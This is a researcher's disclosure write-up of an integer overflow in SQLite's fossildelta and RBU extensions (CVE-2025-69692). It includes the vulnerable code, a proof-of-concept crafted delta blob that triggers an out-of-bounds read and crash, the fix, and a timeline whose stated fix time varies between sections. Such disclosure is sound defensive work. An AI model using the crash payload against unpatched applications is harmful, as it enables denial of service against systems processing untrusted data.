||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

Integer Overflow in SQLite fossildelta/RBU Delta Parsing (CVE-2025-69692)


TL;DR

Found an integer overflow in SQLite’s fossildelta extension. The bounds check if(ofst+cnt > lenSrc) can be bypassed when ofst and cnt overflow 32-bit unsigned arithmetic, causing an out-of-bounds read via memcpy() and crash. Same bug exists in RBU extension. Richard Hipp fixed it within 30 minutes of my report. CVE-2025-69692 assigned.

Background

SQLite is everywhere - phones, browsers, embedded systems, basically every device with storage. The fossildelta extension implements Fossil’s delta compression algorithm for efficient binary diffs. It’s used in the Fossil version control system and available as a loadable SQLite extension.

The delta format uses a simple command structure: copy bytes from source at offset, or insert literal bytes. The offset and count values are base64-encoded in the delta blob. I was looking at this code because binary delta parsing with offset/length math is a classic source of integer overflow bugs.

Finding the Bug

I was reviewing ext/misc/fossildelta.c focusing on the copy command handling. The delta_apply() function processes delta blobs:

// ext/misc/fossildelta.c:557-577
unsigned int cnt, ofst;

cnt = deltaGetInt(&zDelta, &lenDelta);  // attacker controlled

// ... command parsing ...

ofst = deltaGetInt(&zDelta, &lenDelta);  // attacker controlled

if( ofst+cnt > lenSrc ){  // bug here
  /* ERROR: copy extends past end of input */
  return -1;
}
memcpy(zOut, &zSrc[ofst], cnt);

The issue: ofst and cnt are both unsigned int (32-bit). lenSrc is int (signed 32-bit). When ofst + cnt exceeds 0xFFFFFFFF, it wraps around to a small value.

The math:

ofst = 0xFFFFFFF0
cnt  = 0x20 (32)
ofst + cnt = 0x100000010 → truncates to 0x10 (16)

lenSrc = 100
check: 16 > 100? NO → bounds check bypassed

memcpy(zOut, &zSrc[0xFFFFFFF0], 32) → OOB read, crash

deltaGetInt() reads base64-encoded integers from the delta input, so attacker controls both values directly through a crafted delta blob.

Same vulnerable pattern exists in ext/rbu/sqlite3rbu.c at line 626 , the RBU (Resumable Bulk Update) extension has identical code.

Proof of Concept

Build SQLite with AddressSanitizer:

git clone https://github.com/sqlite/sqlite.git
cd sqlite
mkdir build && cd build
../configure CFLAGS="-fsanitize=address -g -O0"
make sqlite3

Compile the fossildelta extension:

cc -fsanitize=address -g -O0 -fPIC -shared -I. \
    -o fossildelta.so ../ext/misc/fossildelta.c

The malicious delta payload uses Fossil’s base64 encoding:

  • W = 32 (output size)
  • W@ = copy command, count=32
  • 3~~~~l = 0xFFFFFFF0 (offset)

Trigger:

./sqlite3 << 'EOF'
.load ./fossildelta.so
SELECT delta_apply(zeroblob(100), 'W
W@3~~~~l,;0');
EOF

ASAN output:

ASan_output_sqlite

Crash at line 577 , exactly the memcpy(zOut, &zSrc[ofst], cnt) line. The overflowed offset points way outside the allocated source buffer

Escalation Analysis

Spent time looking at whether this could be escalated beyond DoS:

Info Leak: Tried using smaller offsets to read adjacent heap allocations. The problem is cnt needs to be large for the overflow math to work, but cnt is also the memcpy size. So you either read too much and crash, or the overflow doesn’t happen.

Write Primitive: Looked at the total += cnt overflow (line 568) to see if we could write past the output buffer. Same issue - cnt is used both in the overflow and as the actual byte count for memcpy.

Heap Shaping: The math just doesn’t work out for controlled adjacent reads. The overflow requires values close to 0xFFFFFFFF which means massive memcpy operations.

So realistically this is a DoS vulnerability. Still worth fixing since any app processing untrusted delta blobs will crash.

The Fix

Richard Hipp pushed a fix 60-90 minutes after my report. The fix casts to 64-bit before the addition:

- if( ofst+cnt > lenSrc ){
+ if( (sqlite3_uint64)ofst + (sqlite3_uint64)cnt > (sqlite3_uint64)lenSrc ){

Commit: Commit c2cd606

Commit message: “Prevent a malicious delta from causing an integer overflow in the fossildelta extension. This code is not used in the SQLite core.”

Same fix applied to both fossildelta.c and sqlite3rbu.c.

Disclosure

Reported via email to drh@sqlite.org. Richard Hipp’s response:

image

“Thank you for the report. All software under my control has been patched with a fix.”

1 hour from report to fix. That’s impressive.

Asked about publishing a technical writeup with POC:

“I am ok with this.”

SQLite has an interesting stance on CVEs , they don’t track them and consider many CVEs against SQLite to be bogus. But this was a real bug, fix was accepted, and I requested a CVE through MITRE independently.

Impact

  • Denial of service via crash (confirmed)
  • The bug is in an extension, not SQLite core
  • Same vulnerable pattern in ext/rbu/sqlite3rbu.c (RBU functionality)
  • Any application loading fossildelta extension and processing untrusted delta data is affected

Conclusion

Real integer overflow bug in a widely-used project, but limited to DoS due to the math constraints. The escalation analysis was educational - sometimes the same variable that enables the overflow also prevents useful exploitation.

What I learned:

  • Fossil delta format internals
  • Why some integer overflows are harder to exploit than others
  • SQLite’s rapid response process

CVE: CVE-2025-69692

Status: Fixed in commit Commit c2cd606


Timeline:

  • December 11, 2025: Bug discovered during code audit
  • December 11, 2025: Reported to drh@sqlite.org
  • December 11, 2025: Fix committed (1 hour later)
  • December 12, 2025: CVE requested from MITRE
  • March 2026: CVE-2025-69692 assigned

Affected: SQLite fossildelta extension, SQLite RBU extension - all versions prior to commit c2cd606

Fix: Commit c2cd606

References:



← Back to Home